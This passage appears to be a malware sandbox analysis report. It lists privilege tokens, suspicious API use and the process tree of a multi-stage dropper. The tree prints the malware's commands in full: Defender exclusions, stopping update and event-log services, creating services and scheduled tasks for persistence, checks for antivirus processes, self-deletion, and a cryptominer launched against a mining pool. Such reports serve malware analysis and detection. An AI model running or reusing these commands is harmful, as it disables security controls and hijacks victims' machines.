Token: SeRemoteShutdownPrivilege	6860	powershell.exe
Token: SeUndockPrivilege	6860	powershell.exe
Token: SeManageVolumePrivilege	6860	powershell.exe
Token: 33	6860	powershell.exe
Token: 34	6860	powershell.exe
Token: 35	6860	powershell.exe
Token: 36	6860	powershell.exe
Token: SeDebugPrivilege	5928	ghjkl.exe
Token: SeDebugPrivilege	5228	BLueHvffhw.exe
Token: SeShutdownPrivilege	6920	chrome.exe
Token: SeCreatePagefilePrivilege	6920	chrome.exe
Token: SeShutdownPrivilege	6920	chrome.exe
Token: SeCreatePagefilePrivilege	6920	chrome.exe
Token: SeShutdownPrivilege	6920	chrome.exe
Token: SeCreatePagefilePrivilege	6920	chrome.exe
Token: SeShutdownPrivilege	6920	chrome.exe
Token: SeCreatePagefilePrivilege	6920	chrome.exe
Token: SeShutdownPrivilege	6920	chrome.exe
Token: SeCreatePagefilePrivilege	6920	chrome.exe
Token: SeShutdownPrivilege	6920	chrome.exe
Token: SeCreatePagefilePrivilege	6920	chrome.exe
Token: SeShutdownPrivilege	6920	chrome.exe
Token: SeCreatePagefilePrivilege	6920	chrome.exe
Token: SeShutdownPrivilege	6920	chrome.exe
Token: SeCreatePagefilePrivilege	6920	chrome.exe
Token: SeShutdownPrivilege	6920	chrome.exe
Token: SeCreatePagefilePrivilege	6920	chrome.exe
Token: SeShutdownPrivilege	6920	chrome.exe
Token: SeCreatePagefilePrivilege	6920	chrome.exe
Token: SeShutdownPrivilege	6920	chrome.exe
Token: SeCreatePagefilePrivilege	6920	chrome.exe
Token: SeShutdownPrivilege	6920	chrome.exe
Token: SeCreatePagefilePrivilege	6920	chrome.exe
Token: SeShutdownPrivilege	6920	chrome.exe
Token: SeCreatePagefilePrivilege	6920	chrome.exe
Token: SeShutdownPrivilege	6920	chrome.exe
Token: SeCreatePagefilePrivilege	6920	chrome.exe
Token: SeShutdownPrivilege	6920	chrome.exe
Token: SeCreatePagefilePrivilege	6920	chrome.exe
Token: SeShutdownPrivilege	6920	chrome.exe
Token: SeCreatePagefilePrivilege	6920	chrome.exe
Token: SeShutdownPrivilege	6920	chrome.exe

Suspicious use of FindShellTrayWindow 45 IoCs

Processes:

firefox.exeamadka.exe143a41833f.exechrome.exeRent.pifqgtplfgy2.exe

pid	process
2104	firefox.exe
2104	firefox.exe
2104	firefox.exe
2104	firefox.exe
196	amadka.exe
4840	143a41833f.exe
4840	143a41833f.exe
4840	143a41833f.exe
4840	143a41833f.exe
4840	143a41833f.exe
4840	143a41833f.exe
4840	143a41833f.exe
4840	143a41833f.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
1128	Rent.pif
1128	Rent.pif
1128	Rent.pif
6920	chrome.exe
4312	qgtplfgy2.exe
4312	qgtplfgy2.exe

Suspicious use of SendNotifyMessage 40 IoCs

Processes:

firefox.exe143a41833f.exechrome.exeRent.pifqgtplfgy2.exe

pid	process
2104	firefox.exe
2104	firefox.exe
2104	firefox.exe
4840	143a41833f.exe
4840	143a41833f.exe
4840	143a41833f.exe
4840	143a41833f.exe
4840	143a41833f.exe
4840	143a41833f.exe
4840	143a41833f.exe
4840	143a41833f.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
6920	chrome.exe
1128	Rent.pif
1128	Rent.pif
1128	Rent.pif
4312	qgtplfgy2.exe
4312	qgtplfgy2.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

firefox.exenum.exe

pid process

2104 firefox.exe
5388 num.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

4363463463464363463463463.exemsa.exefirefox.exefirefox.exe

description	pid	process	target process
PID 344 wrote to memory of 5004	344	4363463463464363463463463.exe	msa.exe
PID 344 wrote to memory of 5004	344	4363463463464363463463463.exe	msa.exe
PID 344 wrote to memory of 5004	344	4363463463464363463463463.exe	msa.exe
PID 5004 wrote to memory of 1876	5004	msa.exe	Powershell.exe
PID 5004 wrote to memory of 1876	5004	msa.exe	Powershell.exe
PID 5004 wrote to memory of 1876	5004	msa.exe	Powershell.exe
PID 1492 wrote to memory of 2104	1492	firefox.exe	firefox.exe
PID 1492 wrote to memory of 2104	1492	firefox.exe	firefox.exe
PID 1492 wrote to memory of 2104	1492	firefox.exe	firefox.exe
PID 1492 wrote to memory of 2104	1492	firefox.exe	firefox.exe
PID 1492 wrote to memory of 2104	1492	firefox.exe	firefox.exe
PID 1492 wrote to memory of 2104	1492	firefox.exe	firefox.exe
PID 1492 wrote to memory of 2104	1492	firefox.exe	firefox.exe
PID 1492 wrote to memory of 2104	1492	firefox.exe	firefox.exe
PID 1492 wrote to memory of 2104	1492	firefox.exe	firefox.exe
PID 1492 wrote to memory of 2104	1492	firefox.exe	firefox.exe
PID 1492 wrote to memory of 2104	1492	firefox.exe	firefox.exe
PID 2104 wrote to memory of 1784	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 1784	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe
PID 2104 wrote to memory of 664	2104	firefox.exe	firefox.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

c:\windows\system32\sihost.exe
sihost.exe
1⤵
PID:2408

C:\Windows\SysWOW64\openwith.exe
"C:\Windows\system32\openwith.exe"
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:6076

C:\Windows\SysWOW64\openwith.exe
"C:\Windows\system32\openwith.exe"
2⤵
PID:4264

C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:344

C:\Users\Admin\AppData\Local\Temp\Files\msa.exe
"C:\Users\Admin\AppData\Local\Temp\Files\msa.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:5004

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Powershell.exe
"Powershell.exe" -ExecutionPolicy Bypass -command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\Files\msa.exe' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\winxs.exe'
3⤵
- Command and Scripting Interpreter: PowerShell
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1876

C:\Users\Admin\AppData\Local\Temp\Files\msa.exe
"C:\Users\Admin\AppData\Local\Temp\Files\msa.exe"
3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2624

C:\Users\Admin\AppData\Local\Temp\Files\ghjkl.exe
"C:\Users\Admin\AppData\Local\Temp\Files\ghjkl.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:5928

C:\Users\Admin\AppData\Local\Temp\BLueHvffhw.exe
"C:\Users\Admin\AppData\Local\Temp\BLueHvffhw.exe"
3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:5228

C:\Users\Admin\AppData\Local\Temp\BLueHvffhw.exe
"C:\Users\Admin\AppData\Local\Temp\BLueHvffhw.exe"
4⤵
- Executes dropped EXE
PID:1824

C:\Users\Admin\AppData\Local\Temp\Files\ghjkl.exe
"C:\Users\Admin\AppData\Local\Temp\Files\ghjkl.exe"
3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:6956

C:\Users\Admin\AppData\Local\Temp\Files\FirstZ.exe
"C:\Users\Admin\AppData\Local\Temp\Files\FirstZ.exe"
2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:5524

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:6860

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
3⤵
PID:3824

C:\Windows\system32\wusa.exe
wusa /uninstall /kb:890830 /quiet /norestart
4⤵
PID:2304

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop UsoSvc
3⤵
- Launches sc.exe
PID:4884

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:3220

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop wuauserv
3⤵
- Launches sc.exe
PID:2148

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop bits
3⤵
- Launches sc.exe
PID:3244

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop dosvc
3⤵
- Launches sc.exe
PID:7008

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
3⤵
- Power Settings
PID:6544

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
3⤵
- Power Settings
PID:4276

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
3⤵
- Power Settings
PID:3232

C:\Windows\system32\powercfg.exe
C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
3⤵
- Power Settings
PID:4248

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe delete "WSNKISKT"
3⤵
- Launches sc.exe
PID:792

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe create "WSNKISKT" binpath= "C:\ProgramData\wikombernizc\reakuqnanrkn.exe" start= "auto"
3⤵
- Launches sc.exe
PID:5700

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe stop eventlog
3⤵
- Launches sc.exe
PID:6236

C:\Windows\system32\sc.exe
C:\Windows\system32\sc.exe start "WSNKISKT"
3⤵
- Launches sc.exe
PID:1788

C:\Users\Admin\AppData\Local\Temp\Files\amadka.exe
"C:\Users\Admin\AppData\Local\Temp\Files\amadka.exe"
2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:196

C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
"C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:5104

C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe
"C:\Users\Admin\AppData\Local\Temp\9217037dc9\explortu.exe"
4⤵
PID:2980

C:\Users\Admin\AppData\Local\Temp\1000016001\55f76d2d42.exe
"C:\Users\Admin\AppData\Local\Temp\1000016001\55f76d2d42.exe"
4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Adds Run key to start application
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:5836

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
5⤵
- Scheduled Task/Job: Scheduled Task
PID:4168

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
5⤵
- Scheduled Task/Job: Scheduled Task
PID:5540

C:\Users\Admin\AppData\Local\Temp\1000017001\143a41833f.exe
"C:\Users\Admin\AppData\Local\Temp\1000017001\143a41833f.exe"
4⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4840

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
5⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:6920

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=106.0.5249.119 --initial-client-data=0xcc,0xd0,0xd4,0xa8,0xd8,0x7ffa50bc9758,0x7ffa50bc9768,0x7ffa50bc9778
6⤵
PID:6252

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1544 --field-trial-handle=1880,i,15522250326403440790,8122943675552886652,131072 /prefetch:2
6⤵
PID:7080

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1796 --field-trial-handle=1880,i,15522250326403440790,8122943675552886652,131072 /prefetch:8
6⤵
PID:6556

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1688 --field-trial-handle=1880,i,15522250326403440790,8122943675552886652,131072 /prefetch:8
6⤵
PID:2884

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=2836 --field-trial-handle=1880,i,15522250326403440790,8122943675552886652,131072 /prefetch:1
6⤵
PID:6316

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=2844 --field-trial-handle=1880,i,15522250326403440790,8122943675552886652,131072 /prefetch:1
6⤵
PID:6232

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --display-capture-permissions-policy-allowed --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4556 --field-trial-handle=1880,i,15522250326403440790,8122943675552886652,131072 /prefetch:1
6⤵
PID:2480

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4892 --field-trial-handle=1880,i,15522250326403440790,8122943675552886652,131072 /prefetch:8
6⤵
PID:3700

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4704 --field-trial-handle=1880,i,15522250326403440790,8122943675552886652,131072 /prefetch:8
6⤵
PID:6748

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4536 --field-trial-handle=1880,i,15522250326403440790,8122943675552886652,131072 /prefetch:8
6⤵
PID:3192

C:\Users\Admin\AppData\Local\Temp\1000020001\num.exe
"C:\Users\Admin\AppData\Local\Temp\1000020001\num.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:5388

C:\Users\Admin\AppData\Local\Temp\Files\Chr0me.exe
"C:\Users\Admin\AppData\Local\Temp\Files\Chr0me.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:5588

C:\Users\Admin\AppData\Local\Temp\Files\228.exe
"C:\Users\Admin\AppData\Local\Temp\Files\228.exe"
2⤵
- Executes dropped EXE
PID:2168

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /k move Descriptions Descriptions.cmd & Descriptions.cmd & exit
3⤵
PID:3888

C:\Windows\SysWOW64\tasklist.exe
tasklist
4⤵
- Enumerates processes with tasklist
PID:2428

C:\Windows\SysWOW64\findstr.exe
findstr /I "wrsa.exe opssvc.exe"
4⤵
PID:6948

C:\Windows\SysWOW64\tasklist.exe
tasklist
4⤵
- Enumerates processes with tasklist
PID:5692

C:\Windows\SysWOW64\findstr.exe
findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
4⤵
PID:5448

C:\Windows\SysWOW64\cmd.exe
cmd /c md 339413
4⤵
PID:6632

C:\Windows\SysWOW64\findstr.exe
findstr /V "EnquiryAnContributionRefers" Tank
4⤵
PID:4952

C:\Windows\SysWOW64\cmd.exe
cmd /c copy /b Ph + Shoot 339413\r
4⤵
PID:6628

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\339413\Rent.pif
339413\Rent.pif 339413\r
4⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:1128

C:\Windows\SysWOW64\PING.EXE
ping -n 5 127.0.0.1
4⤵
- Runs ping.exe
PID:6560

C:\Users\Admin\AppData\Local\Temp\Files\NBYS%20ASM.NET.exe
"C:\Users\Admin\AppData\Local\Temp\Files\NBYS%20ASM.NET.exe"
2⤵
- Executes dropped EXE
PID:4824

C:\Users\Admin\AppData\Local\Temp\Files\pt.exe
"C:\Users\Admin\AppData\Local\Temp\Files\pt.exe"
2⤵
- Executes dropped EXE
- Adds Run key to start application
PID:4452

C:\Windows\system32\cmd.exe
"cmd" /C tasklist
3⤵
PID:6116

C:\Windows\system32\tasklist.exe
tasklist
4⤵
- Enumerates processes with tasklist
PID:6000

C:\Users\Admin\AppData\Local\Temp\Files\%E7%9B%AE%E5%BD%95%E8%A1%A8%E6%A0%BC%E5%90%8D%E5%8D%956001.exe
"C:\Users\Admin\AppData\Local\Temp\Files\%E7%9B%AE%E5%BD%95%E8%A1%A8%E6%A0%BC%E5%90%8D%E5%8D%956001.exe"
2⤵
- Executes dropped EXE
PID:3152

C:\Users\Admin\AppData\Local\Temp\Files\newfile_setup.exe
"C:\Users\Admin\AppData\Local\Temp\Files\newfile_setup.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:992

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
3⤵
PID:3460

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
3⤵
PID:1372

C:\Users\Admin\AppData\Local\Temp\Files\zxcvb.exe
"C:\Users\Admin\AppData\Local\Temp\Files\zxcvb.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:1912

C:\Users\Admin\AppData\Local\Temp\Files\zxcvb.exe
"C:\Users\Admin\AppData\Local\Temp\Files\zxcvb.exe"
3⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
PID:6152

C:\Users\Admin\AppData\Local\Temp\Files\w.exe
"C:\Users\Admin\AppData\Local\Temp\Files\w.exe"
2⤵
- Executes dropped EXE
PID:5752

C:\Users\Admin\AppData\Local\Temp\s.exe
"C:\Users\Admin\AppData\Local\Temp\s.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:6256

C:\Users\Admin\AppData\Local\Temp\Files\ma.exe
"C:\Users\Admin\AppData\Local\Temp\Files\ma.exe"
2⤵
- Executes dropped EXE
PID:816

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp7CB8.tmp.bat""
3⤵
PID:5804

C:\Windows\system32\timeout.exe
timeout 3
4⤵
- Delays execution with timeout.exe
PID:3060

C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe
"C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
4⤵
- Executes dropped EXE
PID:5932

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
5⤵
PID:5456

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc MINUTE /mo 3 /RL HIGHEST /tn "ERGVRDVMSK" /tr "C:\ProgramData\SystemPropertiesDataExecutionPrevention\.exe"
6⤵
- Scheduled Task/Job: Scheduled Task
PID:2360

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o fr-zephyr.miningocean.org:5342 -u ZEPHYR2dNRNd7BpuKZoXnqZu7WiTzoMXE8EhzsTJDnXV9ZDksih16M2EazfmCb3ax9Z78hH9iJMxSQE1NBkPCK6W3M8SBGcc7ZC2z -p work -a rx/0 --donate-level 1 --opencl
5⤵
PID:5736

C:\Users\Admin\AppData\Local\Temp\Files\inte.exe
"C:\Users\Admin\AppData\Local\Temp\Files\inte.exe"
2⤵
- Executes dropped EXE
PID:5412

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5412 -s 764
3⤵
- Program crash
PID:6020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5412 -s 820
3⤵
- Program crash
PID:5696

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5412 -s 860
3⤵
- Program crash
PID:6688

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5412 -s 840
3⤵
- Program crash
PID:6096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5412 -s 856
3⤵
- Program crash
PID:6856

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5412 -s 1084
3⤵
- Program crash
PID:6092

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5412 -s 1124
3⤵
- Program crash
PID:832

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5412 -s 1264
3⤵
- Program crash
PID:6176

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /im "inte.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\Files\inte.exe" & exit
3⤵
PID:6160

C:\Windows\SysWOW64\taskkill.exe
taskkill /im "inte.exe" /f
4⤵
- Kills process with taskkill
PID:4704

C:\Users\Admin\AppData\Local\Temp\Files\qgtplfgy2.exe
"C:\Users\Admin\AppData\Local\Temp\Files\qgtplfgy2.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4312

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Users\Admin\AppData\Local\Temp\Files\qgtplfgy2.exe"
3⤵
PID:2912

C:\Users\Admin\AppData\Local\Temp\Files\123p.exe
"C:\Users\Admin\AppData\Local\Temp\Files\123p.exe"
2⤵
- Executes dropped EXE
PID:3716

C:\Users\Admin\AppData\Local\Temp\Files\cp.exe
"C:\Users\Admin\AppData\Local\Temp\Files\cp.exe"
2⤵
- Executes dropped EXE
PID:6520

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1492

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
2⤵
- Checks processor information in registry
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
